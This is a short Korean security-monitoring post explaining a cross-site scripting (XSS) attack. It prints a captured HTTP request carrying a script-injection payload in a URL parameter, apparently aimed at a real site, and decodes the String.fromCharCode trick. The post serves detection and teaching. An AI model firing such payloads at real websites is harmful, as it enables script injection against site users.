[보안관제] 크로스 사이트 스크립팅(XSS) 공격

공격설명

사이트 간 스크립팅, 크로스 사이트 스크립팅은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.

 

공격구문

GET /product/hxxps://pito.co.kr/hot_line/index.php?scode=

"><script >alert(String.fromCharCode(88,83,83))</script> HTTP/1.1
Accept: Text/Html,Application/Xhtml Xml,Application/Xml;Q=0.9,*/*;Q=0.8
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip
Cookie: JSESSIONID=BF0BF4EAB40F540031F6A2102336A6A0
Host: 

 

공격분석

String.fromCharCode란 유니코드 숫자를 문자로 변환하는 것으로 여기서는 String.fromCharCode(88,83,83)이 XSS로    변환되어 "><script >alert(XSS)</script> 가 된다.